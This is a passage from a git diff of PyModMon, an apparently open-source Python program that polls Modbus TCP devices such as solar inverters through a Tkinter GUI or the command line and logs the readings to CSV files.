variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file 